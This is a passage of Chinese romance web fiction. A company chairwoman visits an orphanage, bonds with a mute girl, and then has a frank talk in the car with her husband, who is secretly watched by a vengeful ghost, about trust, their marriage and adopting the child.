她会礼貌地称赞别人,会出于工作需要,跟合作伙伴说几句好听的场面话,拉近彼此的距离。 但从来不会用这么多的溢美之词,夸张地表达欣赏赞美。 千澄……是在为孩子们着想。 她工作繁忙,就算很想帮帮那些可怜的孩子,也只能多捐赠物资,偶尔来探望。 要照顾好孩子们,关键要靠眼前这些长期直接接触他们的福利院工作人员。 跟这些人打好关系,在这些人面前,表现出对孩子们的重视,好让她们更用心对待孩子。 这是千澄被他临时加塞“慰问福利院”这额外工作后,迅速整理出来的思路。 关景墨不着痕迹地望了远处的阴影一眼。 你……看到了吗? 她藏在社交辞令下的智慧与温柔。 一行人说说笑笑,气氛融洽,看完作品展示,院长播放福利院介绍影片。 爱心福利院是二十年前成立的,早期资金紧张,仅够保证孩子们最基本的衣食与医疗。福利院某个房间里的简陋滑梯,是孩子们唯一的玩具。 工作人员也不多,他们要将大部分时间精力用来照顾无任何自理能力的重度残疾婴幼儿,根本无暇顾及其他孤儿。 近几年,有社会爱心人士捐赠财物,有义工来帮忙,情况有所好转。 颜千澄收起笑容,认真观看影片,脸色微微沉凝。 关景墨明显感觉到,后背原本有所缓和的冰寒冷意,突然带着冲天的怨戾,阴森森、沉甸甸地压上他心头,扼住他的咽喉。 关景墨调查到,怨灵是在五岁失去父母,被送进福利院的。 与一出生就待在福利院,完全不知道什么是“家”的孩子不同,怨灵原本有家,享受过父母疼爱。 曾得到过,所以,当失去时,他会更痛。 关景墨只觉得,像回到几天前的湖底,胸腔内氧气渐渐稀薄,他却无法呼吸,什么都做不了,只能等待氧气耗尽的那一刻,窒息而亡。 关景墨克制着本能的恐惧,将颤抖的指尖攥成拳头收起来,不让颜千澄发现。 颜千澄却突然探身过来,将一张纸递给他。 关景墨费力地集中精神一看。 是他之前交给她的捐赠清单。 千澄在上面写着“X10”,伸出纤长如玉的手指,指向她自己。 关景墨明白,千澄的意思是,要追加捐赠金额,总额为这次捐赠物资价值的十倍。 颜氏集团每年有一部分预算,用于慈善捐赠,以提升集团的社会形象。 关景墨这次捐赠给爱心福利院的物资,就是从这预算里划拨的。 颜千澄现在临时决定追加捐赠金额。 颜氏集团是国际顶尖大集团,有成熟的管理运作模式,颜千澄身为董事长,也不能随意走公账支付超出预算的金额。 她的意思是,用她自己的私人账户出这笔钱。 不知道怨灵有没有理解千澄的意思,理解后怎么想。 关景墨感到,心脏喉头的重压稍微有点松动。 他缓了口气,仍无法说话,只能勉强点头。 颜千澄微微叹息,乌黑的眼眸瞬间转过无数情绪。 最深切的情绪,似乎是……无可奈何? 捐出大笔金钱,她没有丁点“我有能力帮助你们”的欣慰与得意。 她在无奈,在感同身受地悲伤。 她是觉得,自己能做的有限? 是知道,孩子们的缺失,用再多的物质也无法弥补? 关景墨想不清楚,只知道,随着千澄这声几不可闻的叹息落下,他身上的压力凝固片刻。 然后,如潮水般徐徐退去。 关景墨疑惑回头,看到怨灵别过脸,望向远方,不知道在想什么。 等影片播放完毕,一行人去看孩子们。 福利院的孩子按年龄分班,她们先去三岁以下的婴儿组。 一眼望去就能发现,这里大部分孩子有明显的缺陷。 肢体残缺的、脑瘫的、聋哑的…… 关景墨看到,颜千澄握了握拳,将复杂情绪压下,向孩子们露出柔和的笑意。 这个年龄段的孩子,大多还是懵懂的,哭哭闹闹,不怎么跟外人交流。 颜千澄也没勉强,对孩子们笑笑,向护工询问他们的生活起居。 关景墨发麻的指尖逐渐恢复知觉。 从抵达福利院那刻起,一直笼罩着他的冰冷寒意,完全消失了。 关景墨回头,看见怨灵正远远望着孩子们,周身气势柔和了很多。 关景墨心头一松。 从怨灵待小鬼的态度,关景墨推断,它很喜欢小孩子。 现在看来,他没猜错。 今天的福利院之行,一定可以加重千澄在它心里的份量,进而提升千澄的生存几率。 怨灵…… 其实是个好人吧。 千澄当然也是好人。 只有他关景墨是坏人,为了达成目的,能利用一切能利用的人和事。 慰问完婴儿组,一行人去三至六岁的幼儿组。 路上,福利院院长叮嘱颜千澄:“颜董,请您千万不要抱他们,就简单跟他们说几句话就好。” 颜千澄想着,三岁以上的孩子,应该懂些事了,可能他们受过创伤,特别怕生,不愿意被陌生人抱,那自己是应该尊重他们的。 于是,颜千澄郑重回应:“好的。请您放心,我会注意分寸,不会擅自做任何让孩子们不适的举动。” 福利院院长欲言又止,叹了口气,继续叮嘱:“还有,请不要给他们任何承诺。千万不要说,以后会再来……” “……好的……”颜千澄也叹气。 她工作繁忙,并不能保证以后会再来,确实不该给孩子们虚假的希望。 一行人走进幼儿组的房间。 担心吓着*孩子们,颜千澄没有直接上前,而是先蹲下,用平等的视觉,仔细观察孩子们的状态,评估他们愿不愿意跟她说话互动。 部分孩子目光呆滞,对外界完全没有反应。 其余的孩子…… 一看到她们,眼睛一下子变得很亮,特别亮。 有孩子咬着手指,小心翼翼地问:“漂亮姐姐,你是来陪我们玩的吗?” 有孩子用极度渴望的眼神凝望颜千澄:“抱抱我好不好?” 有几个孩子特别激动,猛地扑过来,大声冲颜千澄喊:“妈妈!妈妈!抱抱!” 颜千澄一怔。 她原以为,孩子们不愿被抱。 怎么比起一般孩子,他们好像对陌生人更热情,更渴望被拥抱? 福利院的护工们赶紧上前劝慰孩子,福利院院长再次低声在颜千澄耳边告诫:“请您千万不要抱他们,简单交流就好。” 颜千澄一时不明白,为什么孩子们主动要求拥抱,她还不能抱抱他们。 但她是来帮助福利院,减轻福利院工作人员负担的,不是来添麻烦的。 既然院长反复叮嘱说不能抱,她就先遵从吧。 颜千澄点头,向孩子们微笑,跟他们聊“最喜欢玩什么游戏?”、“今天早餐吃了什么?”、“你们喜欢吃什么呀?”等简单安全,既能表达关心,又不触及他们心灵创伤的话题。 关景墨拿出一袋糖果,递给颜千澄。 颜千澄将糖果派给孩子们。 关景墨等颜千澄派得差不多了,来到她身边,不着痕迹地示意她看角落。 颜千澄顺着关景墨的指引,看到一个小女孩。 她缩在地垫一角,安安静静的。 因为她的退缩与安静,颜千澄之前没留意到她。 现在细看,这孩子大约四岁,是个女Beta,身形瘦小。 她正远远望着颜千澄,大眼睛里写满渴望。 颜千澄微笑,拿出一颗糖,正要走过去,关景墨突然在她耳边悄声说:“她叫小园,听力正常但不能说话,还有先天性心脏病,刚出生就被父母遗弃了。” 颜千澄一顿。 这孩子,乍一看,跟普通孩子没有多大差别,原来…… 唉。 不愿伤害孩子,颜千澄迅速将同情怜悯藏起来,换上一脸自然的笑容,来到小园身边蹲下,把糖递给她。 小园接过糖,一脸惊喜,无声地笑,眼睛亮亮注视着颜千澄。 她发质细软,有几缕头发没梳好,有点乱,但挺干净的,散发出小孩子特有的淡淡的奶香味。 颜千澄克制着抚摸她头发的冲动,柔声说:“吃吧。” 小园盯着糖,看了好一会儿,犹豫片刻,递回给颜千澄。 “是不是不喜欢?”颜千澄把糖果袋子打开给小园看,“这里有很多种糖,你喜欢哪颗,就拿哪颗。” 小园摇头,小手向糖比了个心,然后小脸一红,向颜千澄比了个心,再把糖递给颜千澄。 颜千澄想了想:“你的意思是,你喜欢糖,也喜欢我,所以想将糖送给我吃?” 小园猛点头,羞涩地笑。 颜千澄心里漫过一道酸涩的暖流。 这孩子…… 明明很喜欢她,想跟她玩,但看到别的孩子也喜欢她,就把跟她玩的机会让给他们,自己一个人躲在角落。 明明很想吃糖,却把自己手里的糖送给她吃。 跟黄若安做了几年挚友,耳濡目染,颜千澄对心理学也有一定了解。 这孩子,应该属于九型人格里的第二型,助人型人格(Helper)。 颜千澄侧头望了关景墨一眼。 关景墨的“恋爱脑”,跟助人型人格有相似之处,但“恋爱脑”通常只是在爱情里过度投入,只对特定的人过度付出。 在其它社交关系里,他们可能会表现出其它人格,可能对恋人以外的人表现得冷淡不在乎。 助人型人格的人,却会在乎所有人,对所有人付出。 他们会通过持续不断的付出、帮助、甚至无底线地迁就讨好别人,以求得认可和爱。 因为,这类人内心深处最大的恐惧,就是没有人爱他们(1)。 害怕不被爱,不被需要,最终被抛弃。 小园还小,人格尚未定型,但已经有助人型人格的雏形了。 助人型人格的人害怕被拒绝,颜千澄微笑着接过小园递来的糖,说声“谢谢”,剥开糖纸放进嘴里。 然后,她又把糖果袋子递给小园:“我有糖吃了,你也挑一颗吃吧?我们一起吃糖。” 小园才小心翼翼地取出一颗糖,小心翼翼拆开吃。 尝到甜味,一双大眼睛更亮了。 像个特别幸福的孩子。 颜千澄鼻子一酸。 助人型人格的人,常会太在意别人,而忽略自身需求。 他们需要更多的关爱。 要引导他们多关注自己,多爱自己。 要让他们明白,真正的爱,不需要用付出来交换。 要教会他们适度地付出爱,坦然地接受爱。 可是…… 这样细致的教导,即便是亲生父母,也很难做到吧。 不知怎么的,这孩子,特别合她的眼缘。 想再陪陪这孩子,想……抱抱她。 但答应过院长,只能简单交流,不能多打扰的。 该走了。 颜千澄站起身。 小园意识到颜千澄要离开,嘴巴一扁,好像想哭。 哭泣未成形前,她已自行抑制住,怯怯微笑,举起短短的双臂,做出拥抱的姿态。 眼神依依不舍,嘴唇无声开合。 小园天生不会说话,只是笨拙地模仿别的孩子的口型,模仿得不太准确。 但想也知道,小园想说的是: “抱抱。” 第35章 颜千澄差点就忍不住了,赶紧再掏出几颗糖,塞给小园。 然后尽力克制着,转身走开,继续给别的孩子派糖。 派完糖,再跟孩子们玩一会儿,就硬下心肠,跟他们告别。 出门时,颜千澄很想再看一眼小园。 没敢看。 怕看到她极度渴望又乖巧压抑的眼神,就无法离开了。 一行人去参观福利院各种设施。 路上,颜千澄问院长,为什么不能抱孩子。 福利院院长长叹一声:“因为可能会给他们带来二次伤害。” 她细细解释:“小孩子一般都喜欢被抱……不要说小孩子了,就算是蒙昧无知的幼猫小狗,也喜欢被抱,这是正常的需求没错。可是,孩子一旦尝过被大人拥抱的滋味,就会一直盼望被大人抱。越抱,就越渴求,越想被抱。然而福利院的孩子这么多,需要关爱的孩子这么多,我们的护工人数有限,工作繁忙,不可能一直抱他们,很多时候只能拒绝,孩子们就会特别失望,所以不如一开始就别抱。”(1) 颜千澄沉默很久。 她能理解福利院的难处,就是……心里不好受。 参观完,颜千澄跟福利院签捐赠合同。 福利院院长很高兴,再三致谢,颜千澄微微苦笑,跟福利院工作人员一一握手道别,然后领着颜氏集团慰问团,走出福利院大门。 看着福利院大门铁闸缓缓关上,颜千澄让颜氏集团的员工先走,自己站在原地,望着孩子们住处的屋檐发呆。 她曾在网上看过一种说法。 这十几年来,随着经济发展,福利院的条件逐渐改善,基本能保证孩子们吃饱穿暖。 但,孩子们的心,是空的。 童年缺失的关爱,或许终其一生,也填补不上。 颜千澄突然想起自己。 想起自己的童年。 陈旧灰暗的记忆一帧帧闪过,最后,定格在小园充满渴望的小脸上。 关景墨以下属的身份,一直站在颜千澄身后,等着她。 孩子们可怜,他并不是完全无动于衷,只是在千澄和他自己的生死关头,实在无法分心想太多。 那个叫小园的小女孩,他是特意让千澄注意到的。 怨灵在福利院的前几年,福利院条件不好,连摄像头都没有,没留存任何影像。 后来是有零星几个摄像头了,可也没录下多少有价值的画面。 怨灵性情孤僻,常常一个人待着,就算喜欢孩子,也很少主动跟孩子们说话玩耍。 四年前,小园刚出生,就被父母放在福利院围栏外。 是怨灵先发现她的。 他喊来福利院的护工,看着医生给小园做检查,听到医生说她声带残缺,还有先天性心脏病时,叹了口气,小心地摸摸她的头。 两年前,怨灵离开福利院。 他曾回来一次。 没有进去,就站在福利院围栏外,小园当年被抛弃的地方,默默望着福利院的房屋、花草树木、还有出来晒太阳的孩子们。 小园刚巧在附近,发现怨灵,笑弯了眉眼,将手里的糖递给他。 小孩子模样变得快,怨灵一开始没认出她,问她叫什么名字。 小园指指自己的嘴巴,摇摇头。 怨灵赶紧说“抱歉”,记起小园的名字,问她最近好不好。 小园笑着点头,继续递糖给他。 怨灵接过小园的糖,从背包里掏出一整包糖送给小园,摸摸她的头,满眼怜惜。 小园,算是怨灵在福利院里接触得比较多的孩子。 关景墨并不确定,怨灵现在还记不记得小园,心里有多在乎她。 他只是不愿放过任何可能。 效果应该还不错吧? 千澄跟小园互动时,怨灵一直注视着她们。 现在,已经要离开福利院了,怨灵周身气息依旧平和。 平和得……跟关景墨偶尔在路上碰到的普通灵魂差不多。 今天的行动,成功加重了千澄在怨灵心里的份量。 千澄……果然很优秀,无论做什么,都能做得特别好。 只可惜,怨灵忍住了,没有动手杀他。 错失一个彻底灭掉怨灵,以绝后患的机会。 关景墨一边暗中关注怨灵,一边盘算今天的得失。 见颜千澄似是发完呆了,赶紧快步走到防弹车旁,打开车门,垂手肃立。 颜千澄坐上车子。 关景墨跟着上车,坐好,等着颜千澄吩咐,开车回颜氏祖宅。 颜千澄却一直没开口。 关景墨疑惑,见她定定的望着车窗外,神色复杂,像在苦苦思索什么难题。 关景墨不敢打扰,继续安静等候。 等了十分钟,半小时,一小时…… 关景墨看见颜千澄用力握了握拳,像是下定什么决心。 然后,颜千澄转过头,一脸严肃,问道:“之前,若安要你去复诊,你跟她预约时间了吗?” 关景墨不明白,颜千澄为什么突然提起这个。 之前他是被溺死鬼上身,并不是双重人格,黄若安已经评估过,说他问题不大,不会再伤人,允许他出院了啊。 复诊什么的,不是医生常用的套词吗? 他没放在心上。 他要对付怨灵,要打理颜氏和关氏两大集团,每天的日程表都满满当当,完全不想抽出大段时间做什么心理咨询。 可千澄特地问起,他得回答。 考虑到黄若安是千澄的挚友,关景墨没直接拒绝:“这几天比较忙……” 颜千澄蹙眉。 关景墨立时察觉,怕惹她不满,立刻将“稍后我会跟她联系”咽下,改为:“……我……回去就跟她预约时间……” 颜千澄顿了顿,将语气放柔:“景墨,你是咱们集团的CEO,保证自己身心健康,照顾好自己,是你工作的一部分。” 现代社会,绝大部分人,有或轻或重的心理问题。 身体生病了,人们会坦然地去医院找医生治病。 心灵受伤了,很多人却耻于向心理咨询师求助。 颜千澄这话,是将“找心理医生解决心理问题”转化为一项工作,尽量减少关景墨的羞耻感和抵触情绪。 关景墨领会到颜千澄的关怀体贴,心里一阵温暖,一阵悸动,小声应了句“是”。 颜千澄细看关景墨,确认他把话听进去了。 她拿出一瓶矿泉水,拧开瓶盖喝了几口,又拿出一瓶,拧松盖子递给关景墨:“景墨,我有几个问题,想问你。” 关景墨赶紧道谢,双手接过,“你问。” 颜千澄的神情,无比郑重:“我提的问题,你要是不愿意回答,可以直白点跟我说‘不想答’或‘不能答’,我会试着谅解你,但你不能说谎骗我,一句谎话都不能说。如果我发现,你再对我说谎,可能这辈子,我都无法再相信你。你明白吗?” 关景墨一震。 婚前,他三番四次祸害千澄,错上加错,千澄不是已经……不再相信他了吗? 现在,千澄是……愿意再给他一次机会? 愿意重建对他的信任? 为什么? 一阵阵酸痛热意涌上眼眶鼻头,关景墨不敢让颜千澄久等,咬牙压下疑惑与酸楚,颤声答:“我明白了,你问。” 颜千澄注视着关景墨的眼睛:“第一个问题,关景塘下药,你是什么时候知道的?” 这是他们两人关系恶化,她对他失去信任的起始。 关景塘,是关景墨的堂弟。 关家这一代中,关景墨和关景塘同为Omega,关景墨年少时就展现出惊人的商业天分,迅速成为关氏集团的实际掌控人,关景塘则和传统的Omega一样养在深闺,籍籍无名。 人们提起关景塘时,时常用“关景墨的堂弟”来指代。 “关景墨的堂弟被颜千澄拒绝很多遍了,还死皮赖脸地纠缠她。” “关景墨的堂弟下药,想颜千澄睡他。” “关景墨的堂弟犯罪啦,被关进少管所了。” …… 人们说着说着,好像堂弟做的所有坏事,都算在关景墨头上一般。 就连权威媒体的记者,提问时都是问“请问关先生,关氏集团庆典时,您堂弟下药,您是什么时候知道的?” 千澄跟他们不一样。 她直接说出堂弟的名字,将他和他堂弟区分开来。 关景塘下药,关景墨事先是否知情,有没有存心利用他,一直是网上热议的未解之谜。 这问题,关景墨其实回答过很多次。 有好几次,还是千澄在场的时候回答的。 但都是别人提问,他回答,千澄旁听。 当时,千澄正在气头上,不愿直接面对他,也无法信任他,就把一切交给警察、法官、律师等专业人士。 这是第一次,千澄跟他面对面,开诚布公地谈这件事。 关景墨依旧是一样的回答:“在你进入休息室之后。” 在这个问题上,他没说谎,一直都在说实话。 只是没有多少人相信。 千澄会相信吗? 关景墨红着眼圈,恨不得把心剖出来,捧给千澄看。 颜千澄沉默片刻,没说信,也没说不信,“第二个问题。当时,明知道我中药了,为什么你会一个人进来?” 颜千澄气头已过,询问时语调平缓,措辞并不严厉。 关景墨却像挨了当头一鞭。 因为,他知道,当时的冒失,的确是他的错。 “对不起……”关景墨哽咽,“我……我一知道你有危险,就……” 他一时说不下去。 本来,在颜千澄面前,他就会变得拙嘴笨舌。 急着求千澄原谅,急着辩白当时他是考虑不周,但真的没有任何要害她的心思。 可越是急,越是说不清楚。 颜千澄看在眼里,伸出右手,放在关景墨肩头,像哄孩子般柔声说:“你慢慢想,慢慢说,不用着急,我可以等你的,只要你不骗我。” 关景墨心绪动荡,颤声发誓:“我今生今世,不会再对你说一句谎话!” 颜千澄注视着关景墨,仔细观察他。 良久。 颜千澄“嗯”一声,乌黑幽深的眼眸里,透出几丝暖意。 久违的暖意。 关景墨再也忍不住,呜咽出声,泪水扑簌簌落下。 颜千澄轻拍关景墨肩头,将抽纸盒递给他。 半晌,关景墨终于冷静下来,慢慢解释:“那时候,我抓住关景塘,他说,他是计划在宴会结束,你回休息室的时候,再……我以为时间还早,药水未起效……我真不知道你已经中了药。我也没想过要一个人进你的休息室,当时情况紧急,我想不了太多,以为下属和保镖会跟来……后来我问他们……他们说……” 关氏集团的高管和关景墨的保镖领队,都是人精。 面对关景墨的询问,他们答得婉转,说他们也以为药未起效,以为他不会有危险,以为他要跟颜千澄解释清楚误会,不敢打扰。 但关景墨何许人也,透过他们的尴尬回避,读懂了他们真正的思量。 他们知道,关景塘下药,关氏集团有错在先。 他们认为,以关景墨的身份地位,他将自己身为Omega最珍贵的东西献上,可以平息颜千澄的怒气,解决集团的危机。 不敢阻挠。 他们知道,在豪门权贵的圈子里,颜氏集团的继承人颜千澄,是最好的联姻对象。 以为他想借这个机会,被颜千澄完全标记,嫁入颜家。 不该阻挠。 他们知道,他深爱颜千澄,颜千澄却一直没给他任何回应。 他们认为,那可能是他此生唯一一次,被颜千澄亲近宠爱的机会。 不忍阻挠。 种种思虑,他们不便明说,因为会扯掉关景墨最后一块遮羞布,暴露他最深的羞耻,令他尊严扫地,抬不起头来。 关景墨咬着唇内软肉,咬出血来,苦涩的铁锈味在嘴里蔓延。 现在,要在最最在乎的人面前,扔掉脸皮,扔掉所有尊严,将那些无比难堪的话,一句一句说出来吗? 要的,他发过誓的,不再对千澄说谎。 他应该向千澄坦露自己的一切,包括内心深处最羞耻、最难堪、最不想让她知道的东西。 关景墨嘴唇颤抖,指甲掐进掌心:“他们知道……” “好了,”颜千澄却打断了关景墨自毁般的坦白,扯出几张抽纸递给他,眼神温柔诚挚,“我只希望,你对我说的话句句真实,不要存心骗我。有些事情,你若是不愿说,可以不说的。景墨,你有权守护自己的秘密,保留自己空间。我认为,两个人互相信任,又有各自的边界,才能建立健康的关系。” 关景墨紧绷的身子骤然放松,又慢慢绷紧。 建立……健康的关系……? 什么意思? 未等他想明白,颜千澄沉声问:“第三个问题,我想知道,那件事,你是不是从头到尾,都没有存心算计我?” “是的!”关景墨答得无比坚定,“我是有错,没有及早发现关景塘的谋划,发现后,没有处理好……但我真的从来没想过要利用……从来没想过要害你……我从来没奢望过……” 从小到大,千澄对他来说,就像天边明月般美好又遥远,他在梦里都没奢望过,能得到千澄的标记,成为她的Omega。 关景墨难堪停下。 颜千澄果然尊重关景墨的边界,他不愿细说,她就没追问,让关景墨喝点水,继续问第四个问题:“你在法庭上,说不用我负责,怎么转头又找我祖母?” 关景墨当时的出尔反尔,彻底摧毁了她对他的信任。 关景墨喉结滚动几下。 因为……千澄被怨灵锁定,他原本毫无办法。 离开法庭,跟姚甜甜谈过后,他才知道,若能成为千澄的家人,就可以代替她,被怨灵杀死。 关景墨很想,很想解释清楚一切,得到千澄的谅解。 他很想,很想重新获得千澄的信任。 以前,千澄不信玄学,只会认为他胡说八道。 经过溺死鬼事件后,关景墨明显感觉到,千澄的世界观有所变化。 能告诉她吗? 第36章 必须先推演千澄知道事件全貌后的反应。 千澄会不会,阻止他代她死? 哦,肯定会的。 千澄极有担当又勇敢,就算要面对的,是她看不见听不到,几乎一无所知的恐怖存在,千澄也一定会推开他,自己承担一切。 绝不能告诉千澄这个“代她死”的计划。 那,能不能跟她稍微暗示一下怨灵的存在? 要推演千澄可能的反应。 以及她态度行为的改变,对怨灵的影响…… 关景墨正在脑海里分析推演种种可能,突然,呼吸一窒,像被一只冰冷的手扼住咽喉。 关景墨艰难地一寸寸转头,望向车窗外远方。 怨灵正冷冷盯着他。 关景墨尝试说话。 说不出来,一个音节也发不出。 怨灵……不许他说! 怨灵不愿千澄知道它的存在! 关景墨看见,怨灵伸出暗黑的手臂,指向千澄,冷笑一声,周身怨戾翻腾。 意思是……如果他说了不该说的话,怨灵就会杀掉千澄吗? 怨灵知道,他不怕死,甚至巴不得它来杀他,好跟它同归于尽。 于是,怨灵拿千澄来威胁他。 事关千澄的性命,关景墨不敢赌,赶紧点头,表示自己明白了。 喉头的紧.窒缓缓松开,关景墨回过头,仍感觉到怨灵冰冷的视线锁在他后背上。 关景墨这次沉默了很久。 颜千澄一直耐心等着,没有催促。 终于,关景墨颤声回答:“我……我不能说……” 高端定制防弹车内,空气凝滞。 关景墨低下头,不敢抬起,生怕看到颜千澄失望的眼神。 好不容易,千澄愿意给他机会,重建对他的信任。 他却辜负了千澄的好意。 千澄……会再次怀疑他,再次厌恶他吗? 关景墨放在膝盖上的手紧紧攥起,身子不停颤抖,咬牙忍住呜咽,泪水却串串掉落,浸湿衣裤。 感觉过了很久很久,关景墨终于听到颜千澄的审判:“我听卫蓝说,你跟人谈判时精明冷静,气场很强大的,怎么现在……好像跟小时候差不多?” 小时候,关景墨被欺负,她救了他后,他就是这样哭得稀里哗啦的。 几张抽纸递到关景墨面前,颜千澄嘟哝:“以后,车子里得多备几盒抽纸。” 关景墨羞红了脸,接过抽纸擦眼睛,弱弱辩解:“我……很少这样的……” 他小心翼翼地抬头,见颜千澄脸色如常,忍不住颤声问:“千澄……你……没生我的气?” 颜千澄叹气:“没有。景墨,你应该知道,我情绪算是比较平稳,很少生气的。你以后跟我说话相处时,不用这么紧张,这么害怕。” 关景墨小声应了句“哦”。 知道千澄情绪稳定脾气好,可……他就是很在意她啊,就是很担心自己哪句话没说好,惹她不高兴啊。 颜千澄继续尝试跟关景墨沟通:“咱们把第四个问题拆分成几个小问题,你不愿或不能回答的问题,可以拒绝回答,我不生气。你就回答你能回答的问题,好不好?” 关景墨赶紧点头。 “第一个小问题,”颜千澄问,“你在法庭上说的话,是不是出自真心?” “是的!”关景墨答。 “第二个小问题,”颜千澄再问,“从你离开法庭,到你决定找我祖母的这段时间,发生了什么事?” 关景墨避开颜千澄的视线,嗫嚅道:“我不能说。” “好,”颜千澄没有勉强,沉吟片刻,“第三个小问题,如果没有发生那件事,你会怎样做?” 关景墨颤声答:“我会做到我在法庭上承诺的一切,今生今世都不会纠缠你,我……我会……去做完全标记去除术……” 颜千澄凝视着他。 “是真的,我没有骗你……”关景墨哽咽。 良久。 颜千澄微微一笑,说:“景墨,我相信你了。” 关景墨确信,这句“相信”,是他二十多年的人生里,最亮丽的光芒。 他人生中最苦难的一页,因这句“相信”,终于翻篇。 颜千澄耐心等关景墨平静下来,再问:“第五个大问题……我知道你认识喻君辞。告诉我,你曾有过……要伤害他的想法吗?” 关景墨一惊,看向颜千澄。 颜千澄脸色沉凝。 踌躇几番,关景墨小声答:“我……还未真正认识喻君辞时,是曾经对他起过一些……未成形的恶念……” 他咬咬下唇,继续小声坦白:“我……嫉妒他,又担心他坏我的事……但,那时候,我也没打算真的动他,因为……因为他是你的心上人,我怕会惹你生气……” 颜千澄沉默。 “跟喻君辞见面谈话之后,我真的没再想过要害他了……他是一个特别好的人,是我不好,破坏了你们……”关景墨惶恐又愧疚。 颜千澄注视关景墨的眼睛:“你认真想想,告诉我,以后,你有没有可能会伤害他?” 关景墨反复思量,摇头:“这个可能性,低于百分之一。除非……除非他的存在,威胁到你的性命,我才会……不过,我估计,应该不会有这种可能。” 颜千澄心头一松:“嗯,第六个问题,你有没有做过什么伤天害理的事?” 关景墨小心翼翼地问:“什么事,算是伤天害理?千澄,我……想尽我所能,对你说实话,就怕……就怕我和你对‘伤天害理’的标准不同……” 看到关景墨紧张谨慎的样子,颜千澄心头一软:“不用太紧张,任何沟通都有误解的可能,我会理解的,只要你不是存心欺瞒就行。其实,我真正在意的,是你的态度……确切地说,是你的人品。” 人品? 关景墨茫然。 未等关景墨细想,颜千澄应他的要求,将她之前的问题具体化:“我心目中的伤天害理,是杀人放火、虐待儿童、虐杀动物、沉迷赌博、用违法手段侵占他人财产、造谣网暴他人,大概是这些,你有做过吗?” 关景墨仔细回忆,摇头:“你说的,我都没做过。” “你觉得,以后,你会做那些事吗?”颜千澄问。 关景墨赶紧摇头。 他知道自己算不上什么好人,但也不是大奸大恶。 现在知道千澄讨厌那些,他更不敢碰了。 “那就好,”颜千澄淡淡微笑,“刚刚说的那些,是我的底线。我曾跟若安谈过,她说……” 颜千澄顿了顿,仿佛有几分难以启齿。 关景墨的心“怦怦怦”地剧烈跳动,有份不敢细想、不敢相信的预感。 颜千澄沉默片刻,继续说下去:“景墨,你知道的,我的父亲,是个怎样的人……” 关景墨点头的同时,感受到远方半空处,能量猛然动荡。 这能量极强大,又极混乱,像无边的洪流般汹涌而来,压得关景墨和颜千澄同时呼吸一窒。 是怨灵。 关景墨惊讶。 怨灵……这么恨千澄的父亲吗? 千澄只是口头上提一提他,怨灵就瞬间失控? 关景墨曾调查过怨灵一家跟千澄父母的恩怨。 查不出来。 当年,千澄的父母就有意掩盖真相。 就算曾有什么痕迹残留,十几年过后,也早已尘封湮灭。 关景墨真不知道,为什么怨灵会这样恨。 幸好,怨灵很快冷静下来,收起失控的力量。 颜千澄疑惑:“刚才……怎么回事?” 关景墨感觉到,怨灵正冷冷地盯着他。 不许他多嘴。 关景墨只能沉默。 颜千澄环顾四周,再看向关景墨。 关景墨咬着唇,低下头。 颜千澄察言观色,知道又是“不能说的”,没勉强他,继续刚才的话题:“若安说,也许是因为,我讨厌我亲生父亲那样的人,但又……期待着父爱,所以会想要一个跟我父亲相反,道德水准很高的人,做我的伴侣。” 关景墨脑海“轰”的一声,突然变得一片空白,心头凌乱如麻,眼前光影变幻。 稍稍冷静下来后,关景墨以为怨灵又失控了,抬头一看,怨灵静静悬浮着,没说话,也没动。 关景墨看不清它的表情,只觉得,它好像有点……呆滞? 再看千澄,她的表情没什么异样。 哦,刚刚那番话,不是怨灵失控,混乱他的感知,造成的幻觉。 千真万确是千澄自己说的。 可是……可是…… 千澄,为什么…… 突然主动重建跟他之间的信任。 还跟他说她的……择偶条件? 颜千澄跟喻君辞的事,外界几乎无人知晓。 在外人眼中,颜千澄很挑,这么多年来,没有一个人,入得了她的眼。 颜家大小姐,颜氏集团的继承人,完美耀眼的天之骄女颜千澄,她的择偶条件是什么,她到底喜欢怎样的人,一直是贵族富豪圈所有人都想知道的秘密。 现在,千澄就这样,平平静静地,把这个大秘密,跟他说了…… 关景墨在商场多年,惯会揣测人心。 但千澄今天跟他一番深谈的意图,他揣测不了。 或者说,他心底里,其实早已猜到答案了,只是不敢相信。 然后,关景墨恢复听力的耳朵,听见暗恋多年,今生今世也忘不了的人,清清楚楚地跟他说:“我知道,处在你的位置,有很多不*得已,我不会要求你在道德上毫无瑕疵,我只希望,你至少不要触及我的底线。” “因为,我想跟你,做一对更好的夫妻,一起收养小园,一起陪伴她长大。” 关景墨怔怔的看着颜千澄。 “不知怎么的,小园很合我的眼缘,我反复考虑过,还是放不下她,”颜千澄柔声说,“景墨,你愿意和我一起,成为她的父母吗?这是今天最后一个问题。” 关景墨忍不住望向怨灵。 今天带千澄来福利院,引她注意到小园,是希望她的表现,能增加怨灵对她的好感。 千澄的确很好地展现出对孩子们的尊重与关爱。 她做得已经足够好了。 做这个计划时,关景墨是真的没想到,千澄会萌生收.养孩子的想法。 千澄说,小园合她的眼缘。 也许,真的是缘吧。 天意难测,关景墨再擅长谋算人心,也无法预估与剖析玄奥飘渺的缘分。 只是…… 关景墨努力收拾混乱的思绪,踌躇着说:“我不是不愿意,只是……千澄,有了孩子,以后……你跟我离婚,情况会复杂很多的……” “离婚?”颜千澄惊讶,“你想离婚吗?” “我不想……”关景墨猛地摇头,心头一阵阵绞痛,“我是说,你要跟我离婚……你要是想离婚,那我……但你能不能先等等,等两三年,应该足够了。到时候,你再跟我离婚,我不会……不会再死缠着你……” “两三年?”颜千澄莫名其妙。 听起来,关景墨当初想尽办法嫁她,其实不求长远,只求跟她做两三年的夫妻? 两三年,够他做什么? 关景墨鼻子发酸。 两三年,无论结果如何,怨灵事件应该会结束。 到时候……他就不该再占着“颜千澄的配偶”的身份了。 喉咙一窒,关景墨感受到怨灵冰冷的视线,知道它不允许他细说,只能用目光哀求颜千澄。 颜千澄叹气:“我什么时候说过,要跟你离婚了?” “网上都说……”关景墨咬牙忍住哽咽。 颜千澄疑惑:“以你的阅历才能,应该知道,网上什么人都有,什么千奇百怪的说法都有,他们又不了解我们的情况,何必管他们说什么?” “可是……可是……我自己……也这样想……”关景墨颤声说。 颜千澄叹气:“好吧,我之前心结太多,没给你足够的安全感。景墨,对不起,以后我会注意的。” 关景墨被颜千澄一句“对不起”砸懵了,赶紧说:“不是你的问题!都是我之前不好……” “以前的事,既然已经说开了,那我们都不要再介怀了,好吗?”颜千澄拍拍关景墨的肩膀,她说到做到,说会给关景墨安全感,就清清楚楚地给出承诺,“我答应你,只要你别触及我的底线,这辈子,我不会跟你离婚。” 关景墨木了。 